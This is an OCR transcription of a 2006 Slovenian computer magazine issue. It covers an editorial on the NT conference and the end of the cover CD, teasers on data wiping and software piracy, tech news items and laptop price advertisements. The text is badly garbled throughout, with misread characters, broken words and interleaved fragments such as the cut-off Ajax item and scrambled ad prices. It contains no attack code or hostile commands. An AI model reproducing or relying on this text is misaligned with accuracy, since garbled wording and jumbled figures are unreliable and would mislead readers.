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Prodajate star racunaln|k7 Ste zbrisali svoje
podatke, formatirali disk in zdaj verjamete, da
podatkov ni vec? Motite se, podatki so Se vedno
tam in do njih sploh ni tezko priti. Kako podatke
popolnoma uniciti in mirno spati? Stran 16

TATOVI RACUNALNIKOV IN P : VO
a po vrnitvi z dopusta

obisk tatovi. rate naredi
erili smo tudi, kako se novodobni slovenski digitalni pirati
Kako smo kupovali piratske CD-je! Stran 22
'} 5
IZPRVEROKE
| 7 veznim naborom AM2 ASUS M2N32-SLI Deluxe
S sor AMD FX-62 Stran 54

=

EOBICAJNI'NACINI UPORABE DIGITALNIH FOTOAPARATOV

~ Dig |taIn| fotoaparati omogocajo drugacne nacine uporabe kot analogni. Kako iz svojega
' »d|g|talca« iztisnete najvec in naredite fotografijo, ki vam jo vsi zavidajo. Stran 69

gsﬁb <>TOPOGRAFSKA KARTA SLO TOPO V PRAKSI .ﬁ@ /|
2006, Poletje je in imate vec Casa, da s kolesom in s sprejemnikom d\

fela GPS najdete nove, zanimive in $e nepoznane poti. Kljub velikemu prlcakovanju
7/J in izkuSnjami z uporabo karte Adria Route nas je topografska karta razocaralal

Kaj je novega? Na kaj paziti? Kako in kje
jih kupiti najceneje? Stran 46

V glasbeni stolp
je prikljucen
racunalnik,

ki predvaja
posnetke

iz racunalnika

v formatu MP3.
Na zabavo smo
bili pripravljeni
in izdelali smo
predvajalne
sezname. Dela
je bilo kar precej
—a gre tudi
enostavneje.
Predstavljamo
pa vam 3e veliko
vsakdanijih trikov
in nasvetov '
zadeloz
racunalnikom.
Stran 80
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IZJEMNA PONUDBA, VROCE CENE!

ThinkPad R51 - za Solstvo!*
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' gi PiSe: Zoran Banovi¢
zoran.banovic@mojmikrosi

rav zabavno je, e clovek nekaj napise, potem pa na to dobi kup popolnoma nasprotujocih si

odzivov. Sicer je res bolje, Ce te hvalijo, a tudi kritike imajo svoj Car. Prej$nji mesec, na primer,

sem na tem mestu pisal o NT konferenci. Pisal sem o tem, da je konferenca postala tako velik

dogodek, da ga ni ve¢ mogoce oznacditi le kot Microsoftov, ampak za nekaj, kar je preraslo
okvire slovenskega Microsofta in je postalo splosen informacijski dogodek. Ce priznamo ali ne, NTK
je postala institucija. Institucija, ki se »odceplja« od svoje matere in postaja samostojna.

Pisal sem tudi o tem, da so imeli obiskovalci precej pripomb na konferenco. Te pripombe se v vecini
primerov niso nanasale na tehni¢no plat, torej na to, zaradi esar je sploh organizirana, ampak na
»spremljevalne « dejavnosti. Ljudje so tarnali, da ni konferenénih majic, da ni bilo pijac na hodnikih,
da je bilo na hodnikih premalo ra¢unalnikov in, kar je bilo Se pomembneje, s tistimi, ki so bili, ni bilo
mogoCe preveriti elektronske poste, in Se kaj bi se naslo.

No, to moje pisanje je sprogilo zanimivo veliko odzivov. In to odzivow, ki so bili prav zabavni.
Nekateri so moje pisanje razumeli kot MOJE tarnanje, ker JAZ nisem dobil majice in bil deleZen vsega
tega, kar je bilo kritizirano s strani obiskovalcev. Eden od komentarjew je bil, dobesedno: «Klinc, ¢e pa
hodis na konferenco zaradi majice in torbe, potem pa tudi ne vem...!« Drugi spet so pisanje razumeli
kot kritiko obiskovalcev in mi ogoréeno trdili, da so za konferenco placali in da za to niso dobili niti
majice, to pa da je to mak, da gre konferenca rakom Fvifgat. Zanimivo! Sem bil tako dvoumen? Celo
vecumen?

Na koncu Se sam nisem bil ve¢ preprican in sem 3el in Se enkrat prebral, kaj sem napisal. Ustrasil
sem se namre¢, da je slucajno pri tisku iz besedila kaj izpadlo in je bilo zato sporocilo nejasno. A's
tiskom je bilo vse v redu. Ocitno nisem bil dovolj neposreden. So informatiki ljudje, ki imajo véasih
te¥avo razbrati namige? Ne vem. Vem le, da je bil smisel mojega pisanja v tem, da bomo morali
obiskovalci spremeniti nacin razmisljanja o konferenci in iti nekako »nazaj h koreninam«. Nazaj k
bistvu konference! Nehati jo bomo morali jemati kot »sindikalni turizem«, kot je bilo pretekla leta
veckrat slisati. Vsi skupaj smo prisli tja zato, da se nekaj naucimo in ne le zato, da tam nekaj dobimo.
A moje besede so bile ocitno razumljene drugace. Ocitno sporocila, da so bistvo konference predavanja
in drugenje s »sotrpini«, ne pa majice, torbe, pijace in pomp, nekateri niso razumeli.

Niso razumeli, da je bilo bistvo mojega razmisljanja v tem, da ocitno konec razvajanja. Da je do
tega moralo priti, saj si tega podjetja, ki na konferenci sodelujejo, ne morejo privosciti. Ocitno bomo
morali zveneti kot véasih nasi starsi, ko so nam govorili, kako je bilo v&asih lepo, danes pa je vse
drugace. Seveda je! Razmere se spreminjgjo in, roko na srce, stanje, ki je bilo pred nekaj leti, ni bilo
ravno normalno. Cetudi nam je bila vse¢ ideja, da bi kaj takega lahko bilo normalno. Informatika se
je spremenila iz necesa eksoti¢nega in prestitnega v nekaj vsakdanjega, poslovnega. In v trenutku, ko
nekaj postane vsakdanje, temu cena pade. In Ce cena pade, je dobicka manj in s tem tudi razvajanja.

To vsekakor ni kritika Microsofta in njegovih partnerjev. Je kritika tistih, ki so bili razocarani nad
koncem razvajanja. Ocitno je &as, da se vsi skupaj zbudimo iz lepega sna in se soo&imo z realnostjo.

Ta pa je taksna, da je Casov omenjenega sindikalnega turizma ocitno konec. Konference, kot je ta, so
namenjene izobragevanju. In tega kaj dosti nihce ni kritiziral, kar pomeni, da je bil dober.

Je pares, daje to, da ni bilo majic, pomanjkljivost, ki jo tudi jaz ob%alujem. To pa zato, ker te majice
kar nekako zbiram. Letosnja NT konferenca je bila namre¢ moja deseta in mislim, da imam doma
majice od vseh prejsnjih. Za spomin. In tak$nih, kot sem jaz, je ocitno Se nekaj. Morda bi bila s strani
Microsofta dobra poteza, &e bi majice izdelali zdaj, naknadno, in jih s kaksnim prijaznim pismom poslali
vsem udelefencem. Gesta bi bila vsekakor simpaticna. Zame &m vedjo, prosim!

No, pa bodi dovolj o konferenci. Raje se obrnimo v prihodnost. In to v prihodnost revije, ki jo
ravnokar prebirate. Poletna Stevilka, ki jo imate pred seboj je zadnja, s katero boste prejeli tudi CD.
Od septembra naprej CD-ja ve¢ ne bo! In ker je zadnja, smo ta CD seveda posebej dobro opremili. Na
njem boste nasli beta razlicico nove Microsoftove pisarniske zbirke, ki se sedaj uradno imenuje
2007 Microsoft Office System. Kako jo lahko namestite, si lahko preberete na CD-ju in v rewiji.

Poleg tega smo uvedli novo rubriko, ki smo jo poimenovali Video. V njej boste nasli nekaj zanimivih
izobragevalnih video prispevkov. Kaksni so, si oglejte kar sami, na tem mestu bom le namignil, da gre
za sodelovanje s podjetjem B4Learning.

In zakaj CD-ja vec ne bo? Zato, ker ga bo od septembra nadomestil DVD. In kaj bo na njem? To
naj bo zaenkrat Se skrivnost, a zagotavljam vam, da bo zanimiv in precej drugacen od tistih, ki jih dobite
drugod.

Pa lepe pocitnice vam Zelim. Odpocijte si Se v mojem imenu, saj bom jaz delal na novem DVD-ju. ®
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Prodati stari racunalnik? Najbolje! A ne pozabite na
majckeno podrobnost. Tudi ¢e ste na novo formatirali
disk, so vasi podatki Se vedno na njem. In tisti, ki ga bo
kupil, ne bo imel tezkega dela, da pride do njih. Disk
lahko sicer fizitno unicite, s kladivom po njem, a tako
mecete denar skozi okno. Obstaja boljsi nacin. Disk (vsak
njegov del) je treba veckrat prepisati z naklju¢nimi podatki
- za kar pa potrebujete ustrezne programe!

(stran 16)

Pirati s0 za vse nas romanticne figure iz nase preteklosti.
Kaj pa sodobni digitalni pirati? Uros je preveril, kakdna je
ponudba pri nas, tudi v Casih, ko vse lahko »zvle¢emo iz
neta«. Presenetilo ga je, da pirati tudi pri nas e vedno
javno delujejo in prodajajo vse, od programov do filmov.
Policija bi jih lahko brez teZav nala, Ce bi le hotela. Kajti
preverili smo tudi, kako se pirati 8itijo!

(stran 25)

Vsako leto ista pesem. Prisiljeni ste kupiti nov racunalnik,
saj je stari zastarel. Jaka in Zdenko sta zbrala nekatera
najpomembnejsa dejstva, ki vam bodo pomagala pri
mucnemu pregovarjanju s prodajalci. Med drugim vam
svetujeta, kako raCunalnik kupiti, katere novotarije
. so pomembne in katere ne (triki za lovljenje

- kupcev), in kje je treba biti $e zlasti previden?

(strani od 46 do 53)

O tem, da je bog fotograf, ni dvoma, vprasanje je
le, kateri fotoaparat uporablja in ali je Ze zamenjal
analogni model za digitalnega. Alan je zbral »deset
zapovedi« — nasvetov, kako izkoristiti vse moznosti
digitalnih fotoaparatov, da naredite najboljSo
fotografijo. In to zato, ker digitalci omogocajo
drugacne nacine fotografiranja, kot smo jih bili
vajeni iz analognega sveta.

(stran 69)
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MOBITEL IN CERTIFIKAT]

Pretekli mesec smo dobili kar nekaj vprasanj in komentarjev v zvezi
z Mobitelovo storitvijo Monitor, ki jo je zdaj mogoce uporabljati tudi
prek spleta. Postopek prijave je tak, da si morate z Mobitelove spletne
strani sneti dokument v formatu PDF, ga natisniti, izpolniti in skupaj
s kopijo osebnega dokumenta poslati Mobitelu. V nekaj dneh nato s
priporoceno posto dobite geslo, s katerim lahko dostopate do spletne
strani https://monitor.mobitel.si. V svoj ra¢un se lahko prijavite na dva
nacina. Eden je s telefonsko Stevilko in dvema gesloma — eno je tisto,
ki so vam ga poslali po posti, drugo, sprotno, pa dobite prek SMS-a
vsaki¢, ko se prijavite. Drugi, priro¢nejsi in tudi »zmogljivejSi« nacin je
z uporabo certifikata. V tem primeru lahko pridete do nekaterih dodat-
nih informacij o svojih racunih. Mobitel priznava svoje e-certifikate ter
certifikate izdajateljev Halcom, ACNLB, SiGen in Posta Slovenije. Pred
prvo uporabo je treba tak certifikat prijaviti. In tu je razlog nejevolje,
ki so jo izkazali nasi bralci.

Prijavo s certifikati Halcoma in ACNLB je mogoce izvesti elektron-
sko, prijavo s certifikati, Sigen.CA in Poste Slovenije pa ne, ampak
si je treba spet natisniti poseben obrazec in ga spet poslati Mobite-
lu. Ker se je tudi nam zdelo taksSno prekladanje dokumentov malce
cudno, smo seveda vprasali Mobitel, kaj je s tem. Njihov odgovor
navajamo v celoti:

»Druzba Mobitel omogoca podroben in ucinkovit nadzor nad pora-
bo, varen in enostaven pregled ter upravljanje naro€niskih razmerij.
Mobitelovi naro€niki lahko do spletnega Monitorja dostopajo tako prek
Mobitelovega certifikata kot prek e-certifikatov drugih izdajateljev:
ACNLB (Klik NLB), Halcom, SiGen in tudi Poste Slovenije.

NarocCniki, fizicne osebe, ki se prijavijo s certifikatom ACNLB (Klik
NLB) ali Halcom, lahko storitev zatnejo uporabljati takoj, saj oba certi-
fikata vsebujeta tudi davéno Stevilko, ki omogoCa enoznatno povezavo
certifikata in narocnika v nasih podatkovnih bazah. Slednje je obvezno,
saj moramo identiteto iz certifikata ustrezno povezati z narocnikom
storitev. Ce narocnik Zeli uporabljati certifikat Sigen ali Posta, ki ne
vsebujeta davcne Stevilke, mora za zdaj predhodno opraviti $e pisno
prijavo v Mobitelovem centru, s pomocjo katere se izvede postopek po-
vezave certifikata z naro¢nikom. Za certifikat Sigen to v kratkem ne bo
ve¢ potrebno, saj pripravljamo informacijsko reSitev, ki bo omogocila
enak postopek uporabe kot pri certifikatih ACNLB in Halcom.«

Tezava je torej v tem, da pri Mobitelu povezujejo uporabnika z
njegovo davéno stevilko, drugih enoznacnih podatkov o njem pa
nimajo. In Ce certifikat ne vsebuje tudi davéne Stevilke, vas ne morejo
identificirati, torej je potrebna »rocna« prijava.

Pri celotni stvari se vsekakor pojavi ve¢ vprasanj. NajpomembnejSe
je seveda to, zakaj smo v Sloveniji sploh prisli v takSno stanje. Cer-
tifikat naj bi bil neke vrste elektronska osebna izkaznica, s kateri se
lahko identificiramo v spletu. A ta osebna izkaznica se o€itno krepko
razlikuje od prave, saj jih moramo, ¢e hoéemo uporabljati razliéne
elektronske storitve, imeti vec. Ve€ zato, ker o€itno vsi niso dovolj
dobri. Kot ¢e bi imeli eno osebno izkaznico za identifikacijo na ob€ini,
drugo za registracijo avtomobila, tretjo za ... In to zato, ker izdajatelji
certifikatov oCitno uporabljajo razli¢ne metode identifikacije — eni
prek davéne Stevilke, drugi preko Stevilke EMSO. In ¢e nekdo za iden-
tifikacijo strank prek certifikatov uporablja za le eno od tega dvojega,
potem je uporabnik »nasankal«.

In kdo je kriv? Drzava, ker nam je dala dve enoznacni Stevilki, ko
bi bila dovolj ena? Ce ze imamo dve, je kriva zato, ker nam je dala
certifikat, ki ne vsebuje obeh? So krivi ponudniki certifikatov, ker ne
podpirajo obeh? So kriva podjetja, ker ne znajo komunicirati z zbirko
enih in drugih Stevilk? Ali ne bilo logi¢no, da obstaja zbirka, v Kateri
je mogoce na podlagi ene Stevilke preveriti drugo in obratno? Ce po-
znamo davcno Stevilko osebe, bi morala obstajati metoda, po kateri je
mogoce najti njen EMSO. In Ce v certifikatu ni ne ene ne druge Stevil-
ke, vsekakor mora obstajati moznost Se drugacne preveritve identitete.
A te o€itno ni! In to je nasa e-drzava ...

ISKANJE
PRIJATELJEV AL
PROVOKACIA?

Na Slovenskem turistiénem portalu smo na-
8li igro, namenjeno otrokom pri spoznavanju
Slovenije in njenih taksnih in drugacnih bogastev.
Na primer — bogastvu slovenskega pogovornega
jezika in neprimernega obnasanja. Igro vedno igra
ve¢ spletnih igralcev, tako da izberejo svojo figuro
(fantek ali puncka) ter vpiSejo svoje ime in drzavo,
iz katere prihajajo. Nato imajo na voljo osem te-
matskih sklopov, znotraj katerih dobijo podatke o
njih in v katerih lahko prek »okna« za komunikaci-
jo medsebojno komunicirajo. |deja ni slaba, poleg
spoznavanja Slovenije in drugih spletnih uporabni-
kov ter zanimive oblike medsebojne komunikacije
ste lahko za obisk tudi nagrajeni (pravila nagradne
igre so na spodnji spletni strani).

Ker so obiskovalci strani znotraj nje popolno-
ma anonimni, sprostijo zavore, ki jim v obicaj-
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nem zivljenju prepreujejo, da bi se neprimerno
obnasali. VeCina obiskovalcev (vsaj ko smo bili
mi prisotni) se sicer obnasa Cisto dostojno. Zeli
spoznati druge igralce, se z njimi pogovarjati in
skupaj obiskovati tematske sklope. Predvsem v
delu, kjer je govor o slovenskih zdravili¢ih in so
igralci v kopalkah, se hitro najdejo posamezniki,
ki zaCnejo provocirati — saj veste, besede na
f..., k... in p... (so pa ti na sreo v manjsini).
Zavedamo se, da tega problema sistemsko ni
mogoce preprediti, vedno se najdejo posamezniki
(starej8i, kot hi priCakovali), ki svoje vsakodnevne
frustracije izzivljajo znotraj navideznega sveta (za-
vedajo se svoje anonimnosti). Pri tem pozabljajo,
da so lahko drugi obiskovalci tudi rosno mladi

in tega, kar ti starejsi govorijo, niti ne razumejo.
Opazili pa smo $e en zanimiv vzorec. Dekle in
fant se zaCneta pogovarjati — od kod si, koliko

si star, ima$ MSN ... Sledijo odgovori in obéasno
tudi naslov za sistem neposredenega sporocanja.
Igra bi lahko postala neke vrste spletni sociali-
zacijski prostor, kjer so razli¢ni mladostniki iz
razli€nih delov Slovenije med seboj spoznavajo
in poznanstvo nadaljujejo prek drugih komunika-
cijskih kanalov. Nekateri »neumni« odgovori na
vprasanije ali provokacijo pa so tak$ni, da kazejo
na »pamet« tistega, ki tako odgovarja.
wwwi.slovenia.info
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TELEVIZOR ALI RACUNALNIK?

Podjetje Quixun je na japonskem trgu zacCelo prodajati LCD-monitorje razlicnih velikosti, katerih
bistvena znacilnost je, da imajo »luknjo«, v katero lahko vstavite racunalniSki modul in tako
monitor spremenite v racunalnik. Gre za izvedbo Ze skoraj pozabljene IBM-ove inovacije. Bolj kot
zanimivost naj povemo, da je racunalniski modul opremljen s procesorjem Celeron M in ima lahko
najve¢ 1 GB pomnilnika, razli¢ne trde diske (med 20 in 100 GB) in paleto obicajnih vmesnikov.
Spletni brskalnik Lipii je mo¢ upravljati daljinsko. Vdelan je analogni TV-sprejemnik, ki monitor
spremeni v ploski televizor, ker pa gre za racunalnik, je najverjetneje omogoceno tudi snemanije
programov na trdi disk.

E—SLVEN§CINA

Vsem, ki ne znajo slovens¢ine, a bi se je radi
naucili, je namenjen sistem za ucenje slovenséi-
ne kot tujega jezika, ki je brezplaéno dostopen
v internetu. Pri pripravi gradiva so posku3ali
ustre¢i potrebam in zanimanju najrazli¢nejsih
uporabnikov: tujcem v Sloveniji in drugod po
svetu, slovenskim izseljencem in njihovim
potomcem, tujim Studentom, prevajalcem in

T
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drugim, ki bi se radi nasega jezika naucili ali ga
izpopolnili.

Jezikovni tecaj je razdeljen na tri tezavnostne
stopnje - zacetno, nadaljevalno in izpopolnjeval-
no. Razvija razli¢ne jezikovne dejavnosti, pred-
vsem poslusanje, branje in pisanje. Uporabnik
pri prvem vstopu v sistem (potrebna je registra-
cija) najprej izpolni test, na podlagi rezultata pa
mu sistem priporoCi, katera stopnja te€aja bo
zanj najprimernejSa. S tem se lahko strinja ali
pa sam izbira med vsebinami na vseh stopnjah.
Tecaj sestavlja trinajst vsebinskih sklopov,
od najbolj temeljnih, kot so osebna identiteta,
osebna razmerja in nakupovanje, do $irSih
druzbenih tem, kot so kultura, politika in mediji.
Vsaka tema vklju€uje zvo€ne in video posnetke
pogovorov ter zapisana besedila, vse skupaj pa
dopolnjujejo vaje za utrjevanje znanja.

Poleg jezikovnega tetaja so obiskovalcem na
voljo informacije o Sloveniji in jeziku ter koti¢ek
za otroke. Uporabnik lahko pri delu uporablja tudi
razli¢ne pripomocke, kot so kazala, iskalnik, fo-
rum, klepetalnico in oglasno desko, nacrtujejo pa
tudi slovar in moZnost komunikacije z u€iteljem.
www.e-slovenscina.si

B LF
Pozarni zid, VPN, SMTP in HTTP virus filter.

info@ires.si ElE.tElREI

www.astaro.si

[ZDELAJTE SI ROBOTA

Microsoft je predstavil osnovo MS Robotics Studio, katere tehnoloski
pregled lahko »snamete« na spodnjem naslovu, ki amaterjem in profe-
sionalcem pomaga pri razvoju programske oprema za robote. Od Robo-
tics Studia si veliko obeta podjetje Lego, ki ga vidi kot okolje za razvoj

| programske opreme za robote, ki jih bodo uporabniki
i izdelovali z njihovimi »kockami« - gradniki robotov

Mindstorms NTX (naslednja generacije serije »kock,

ki je bila prvi¢ predstavljena leta 1998). Pri¢akujejo,
| dabo po njihovih izdelkih poseglo ve¢ kupcev, ki
" bodo imeli na voljo ve¢ moZnosti: gradnike, s katerimi
bodo izdelali robota po svojih Zeljah, in orodja, s kate-
rimi mu bodo vdahnili ve€ Zivljenja, kot to lahko
storijo zdaj z Legovo programsko opremo.
Zahtevnej$i bodo lahko robota
. ustvarili tako, da bodo sami
1§ izdelali potrebno mehaniko
¥ in elektroniko, orodja pa jim
bodo zagotovila standardno
0SNnovo za razvoj potrebne pro-
gramske opreme.

MS Robotics Studio vsebuje
vizualno programsko orodje za
2 »enostaven« razvoj in popravljanje
; robotske aplikacije. Razvita apli-
kacija je modularna in omogoca
komunikacijo med uporabni-
kom in robotom prek spletnega
(brskalnik) ali okenskega (Windows) okolja. Razvijalci lahko delovanje
aplikacije preizkusijo znotraj navideznega okolja (pogon Ageia PhysX) z
uporabo realistiénih 3D-modelov. To omogoca tudi simulacijo delova-
nja robota, ki Se ne obstaja. Razvijalci lahko tako preizkusijo ustreznost
celotnega projekta, preden se lotijo fiziéne izdelave robota, ki utegne
biti draga. Preizku$anje je namenjeno profesionalnim razvijalcev robo-
tov, ki si ne morejo privo$€iti, da njihov robot na koncu ne bi deloval
tako, kot so pri¢akovali ali obljubljali.
http://msdn.Microsoft.com/robotics

" PRODOR E-CASNIKOV
PRIHODNJE LETO?

Velike medijske hiSe se vse bolj spogledujejo z
' moznostjo izdaje elektronskih Casnikov v zaCetku
_ - prihodnjega leta. Ne gre za postavitev vsake izdaje

¢asopisa na njihovih spletnih straneh, temvec za
moznost, da bralec tam dobi e-Casopis, ga pre-

nese v predvajalnik in ga tam prebira. Seveda ¢asopis placa, bodisi vsaki¢ posebej ali v

obliki naro¢nine. Prebiranje ¢asopisa na napravah, kot je Sony eReader, je za o¢i man;j

utrudljivo kot branje z zaslona namiznega ali prenosnega racunalnika. Za medijske hise

pa je postopek veliko cenejsi, saj tiskanje na papir precej stane.
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KAMERA ZA »NOCNO UPORABO«

Najve¢ uporabnikov Skypa je mladih in ti
so seveda pod vplivom starSev. Ko jim mami
ugasne luc in zabrusi, da morajo spati, jim
preostane zgolj uporaba tele zanimive na-
pravice, ki stane preracunano okoli 7 tiso-

Cakov. Kamera za USB-vmesnik QCam
locljivosti 1,3 milijonov pik (1280 x
1024) in vdelanim mikrofonom
lahko deluje tudi v temi. Po-

leg tega so na njej tri bele

diode, ki le malo osvetlijo

okolico, in dve infrardeci

diodi, ki omogocata »noc-

no gledanje«. Za ta denar

ne pri¢akujte kakovostnega

izdelka, gre le za zanimivo

idejo, ki bo pravo vrednost

dobila, ko jo bo posvojilo kak$no
veCje podjetje.

PODCASTI KOT
UCNA METODA

—_—
U¢imo se najbolje takrat, ko si to Zelimo, ne pa
kadar smo v to prisiljeni. Po svetu zato iS¢ejo naci-
ne, kako Studentom, ti so dovolj samodisciplinirani
in zreli za nove metode, priblizati uéne procese. Na
neki univerzi v Angliji so uéencem omogocili spre-
jem »znanja in modrosti« v obliki podcastov, ki jih

pripravijo predavatelji, Studentje pa imajo dostop
do njih in jih lahko prenesejo v svoje MP3-pred-
vajalnike. Lekcije so v obliki datotek MP3, Student
pa jih lahko poslusa, ko ima ¢as in si ucenja tudi
Zeli. Zanimivi so rezultati ankete, ki je pokazala,
da so Studentje omenjene univerze novo metodo
dobro sprejeli, saj jo ve€ina redno uporablja.

AJAX ALl SMRT

Ajax (Asynchron(]

PANDE V ZIVO
PREK SPLETA

Velikih pand ne vidimo ravno v vsakem Zival-
skem vrtu. Zato je za ve€ino od nas, ki pand v
Zivo Se nismo videli, najboljsi priblizek pogled v
prek spletne kamere, ki je names¢ena v rezerva-
tu Wolong na Kitajskem. Na storitev se morate
naroCiti, in e imate sre€o in dobite privoljenje,
vam dodelijo 20-minutni termin, v katerem lah-
ko po svojih Zeljah premikate kamero oziroma
priblizujete dele ograde za pande. Tezava je lah-
ko ¢asovna razlika (plus 6 ur), kar pomeni, da
utegne biti termin, ki vam je na voljo, sredi noCi

ali zgodaj zjutraj. Svoje opazovanje lahko tudi
posnamete in shranite kot spomin na zanimivo
spletno doZivetje.

www.pandaclub.net

GOOGLOVA
PREGLEDNICA

Ce elite narediti preglednico in nimate
pisarniSkega paketa MS Office ali OpenOffice.
org z ustreznim orodjem, boste morda zadovoljni
z Googlovim spletnim ekvivalentom. Prednost
spletne preglednice je v tem, da je vedno na
voljo, ne glede na to, kje ste, hkrati pa jo lahko
»odprete« za svoje spletne prijatelje in skupaj
delate v realnem &asu. Ce Zelite uporabljati
Googlovo preglednico, boste tako kot pri ne-
katerih drugih storitvah potrebovali Googlov
racun — tam jo nato tudi shranite — tabelo
pa je mozno izvoziti tudi v lokalni radunalnik.
Preglednica spominja na prve Microsoftove raz-
licice Excela, ponuja osnovne moznosti in dokaj

. o
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veliko razliénih funkcij, ni pa (Se) v nobenem
primeru primerljiva z Excelom. Je pa vsekakor
dovolj zmogljiva za veliko uporabnikov, ki vecino
moznosti Excela sploh ne potrebujejo. Tem bo
pri§la prav moznost, da v Googlovo preglednico
uvozimo datoteke cvs ali xlIs (Excel).

VpraSanje je, ali Google poCasi gradi splet-
no pisarno. Marca je podjetje kupilo spletni
urejevalnik besedil Writely (www.writely.
com), mesec pozneje pa je predstavilo storitev
koledarja, katere najvecja prednost je v tem, da
so podatki »enostavno« dostopni od povsod in
niso shranjeni le v lokalnem racunalniku ali v
strezniku krajevnega omrezja. Postni predal pa
je v Googlu Ze tako ali na voljo. Ce ni¢ drugega,
bomo lahko doma preZivel tudi brez Officea na
trdem disku, ¢e Ze v sluzbi to ne bo mogode.

Hkrati s spletno preglednico je Google pred-
stavil tudi storitev za izmenjavo fotografij, kjer
dobi uporabnik po registraciji brezplatno na
voljo 250 MB prostora, dodatnih 6 GB pa lahko
kupi za 25 dolarjev.
http://picasaweb.google.com
http://spreadsheets.google.com

take ali pa jih preprosto ne bo ve€. Ajax je krovno ime za skupino spletnih tehnologij in orodji, ki omogocCa, da je spletna stran videti podobna

okenskemu programu.
danasnjih spletnih strani pa ne. To pomeni, da ni ve¢ ¢akanja, da se spletna stran ponovno nalozi, ko smo znotraj nje spremenili kakSno malenkost.
Gartner Ajax oznacujejol]
narejenimi z Ajaxom, naj omenimo Google Earth, Gmail in Yahoo Mail Beta.
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chiliGREEN CV M3-M31

Chipset Intel 945 GM Express - Zaslon
13" TFT WXGA Glare Type Display -
Locljivost 1280x768 - Intel Core Duo T2300
1.66 Ghz - Spomin 1024 MB DDR2 - Trdi
disk B80GB - DVD zapisovalnik - Zvocna
kartica 5.1 - VGA Intel Dynamic Video GMA
950, 128MB - Citalec spominskih kartic 4v1 -
Fax modem 56k - Mrezna 10/100 /1000, WLAN
(Intel 3945) - Teza 2.1 kg - Garancija 2 leti

-

chiliGREEN M5-G536

15" zaslon TFT XGA matrika - Locljivost
1024 x 768 - procesor AMD Sempron
Mobile 3300+ - spomin 512MB DDR -
graficna kartica V\ga OnBoard 64MB
shared - Trdi disk 60 GB - DVD
zapisovalec - Zvocna kartica 5.1 support
- 4 X USB 2.0, Drsna ploscica, TV out,
WLAN, VGA izhod,Paralel port - Fax
modem 56k, mrezna 10/100 - Smart Li-On
baterija - Programska oprema za
predvajanje dvd in snemanje cd-jev in
dvd-jev.

chiliGREEN 635-SE

Zaslon 15,4 TFT WXGA 1280 x 800 -
Procesor AMD Sempraon 3000 mobile -
Spomin 512 MB - VGA ATI RaDeon X700
M26 PCI Express 128Mb DDR - Trdi
disk 60 GB HDD - DVD zapisovalec -
Modem 56k, V.92, mreZna 10/101, 4 v 1
Citalec kartic, 1xPCMCIA tip 11, VGA, Tv-out,
MIC, Audio out, Smart Li-ion baterija.
DARILO: WLAN PCMCIA

chiliGREEN 645

15,4 zaslon TFT WXGA Glare Type -
Locljivost 1280 x 800 - Procesor Intel
Centrino 1.73 GHz - Spomin 512 MB DDR -
Graficna kartica NVIdia GeForce 6600Go
128Mb - Trdi disk 80GB - DVD zapisovalec
Dual Layer - Zvoéna kartica AC97 2.2 - fax
modem 56k, mrezna 10/100, WLAN mini
PCMCIA - 4 x USB 2.0, Drsna ploscica -
PCMCIA 1 x Type II, VGA izhod - 3v1 Citalec
kartic - Smart Li-ion baterija - Programska
oprema za predvajanje dvd in snemanje cd
in dvd-jev.

chiliGREEN 570x8

17" zaslon TFT WXGA Glare Type -
Locljivost 1440 x 900 - Procesor Intel
Centrino 1,73 GHz - Spomin 512 MB DDR2 -
Graficna kartica VGA ATI M28 X800XT
256Mb PCI-X - Trdi disk 100 GB - DVD
zapisovalec Dual Layer - Zvoéna kartica AC97 8
kanal - PCMCIA 1 x Type II, VGA izhod - Fax
modem 56k - mrezna 10/100/1000, WLAN -
Paralel port,PS2, FireWire IEEE 1394 - 4 x USB
2.0, Drsna plogtica - Citalec kartic 4 v 1,Smart
Li-ion baterija - Programska oprema za
predvajanje dvd in snemanje cd in dvd-jev.

chiliGREEN 570x8, Intel Centrino 2.0 cena: 399.990,00 sit / 1.669,13 €

Anni d.o.o., Motnica 7a, 1236 Trzin, tel. 01 5800 800

Cene vsebufelo 20

MPC: 169.990 sit

709,36 €

MPC: 205.990 sit
859 59 €

C: 259.990 sit
€

=
2T

—h
=
o
R =

MPC: 309.990 sit
1.293,57 €
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chiliGREEN 550V -C-DRW

15" zaslon TFT XGA - Locljivost 1024x 768 -
Procesor Intel Celeron M 1.4 GHz -
Spomin 512 MB DDR - Graficna kartica Vga
onboard 64MB - Trdi disk 80GB - DVD
zapisovalec Dual Layer - Zvocna kartica 7.1
- 3 x USB 2.0, Drsna ploscica - Fax modem
56k, Mrezna 10/100, WLAN mini PCI - VGA
out, 1x PCMCIA - Smart Li-ion baterija -
Programska oprema za predvajanje dvd in
snemanje cd-jev in dvd-jev.

chiliGREEN 550V-P

15" zaslon TFT XGA matrika - Locljivost 1024x
768 - Procesor Intel Centrino M 1.73 GHz -
Spomin 512 MB DDR delovnega pomnilnika -
Graficna kartica Vga onboard 53 64MB - Trdi
disk 60GB - DVD zapisovalec Dual Layer -
Zvotna kartica 7.1 - 3 x USB 2.0, Drsna
ploa€ica - Fax modem 56k, Mrezna 10/100 -
VGA out, 1x PCMCIA - Smart Li-ion baterija -
Programska oprema za predvajanje dvd in
snemanje cd in dvd-jev. DARILO: WLAN
PCMCIA

chiliGREEN 635-TU

Zaslon 15,4 TFT WXGA 1280 x 800 -
Procesor AMD DT 1800+ Turion - Spomin
512 MB - VGA ATI RaDeon X700 M26 PCI
Express 128Mb DDR - Trdi disk 60 GB HDD
- DVD zapisovalec - Modem 56k, V.92,
mrezna 10/101, 4 v 1 ¢italec kartic, 1xPCMCIA
tip II, VGA, Tv-out, MIC, Audio out - Smart Li-
ion baterija. DARILO: WLAN PCMCIA

chiliGREEN 570x7

17" zaslon TFT WXGA Glare Type 1440 x
900 - Procesor Intel Centrino 1,73 GHz -
spomin 512 MB DDR2 - grafi¢na kartica
VGA ATI M27 X700 128Mb PCI-X - Trdi
disk 100 GB - DVD zapisovalec - Zvocna
kartica AC97 8 kanal - PCMCIA 1 x Type II,
VGA izhod, Fax modem 56k, mrezna
10/100/1000, WLAN, Paralel port,PS2,
FireWire IEEE 1394, 4 x USB 2.0, Drsna
ploética, Citalec kartic 4 v 1 - Smart Li-ion
baterija - Programska oprema za predvajanje
dvd in snemanje cd in dvd-jev.

chiliGREEN 570 M26, Intel Centrinc 2.0 cena: 339,990 sit / 1.418,76 €

chiliGREEN M590

19" zaslon TFT WSXGA - Locljivost
1680 x 1050 - AMD Turion Mobile ML~
40 2.2 GHz - Spomin 1024 MB DDR - 2x
graficna kartica nVidia 7800 GTX PCI-
Express (SLI tehnologija) - Trdi disk 100
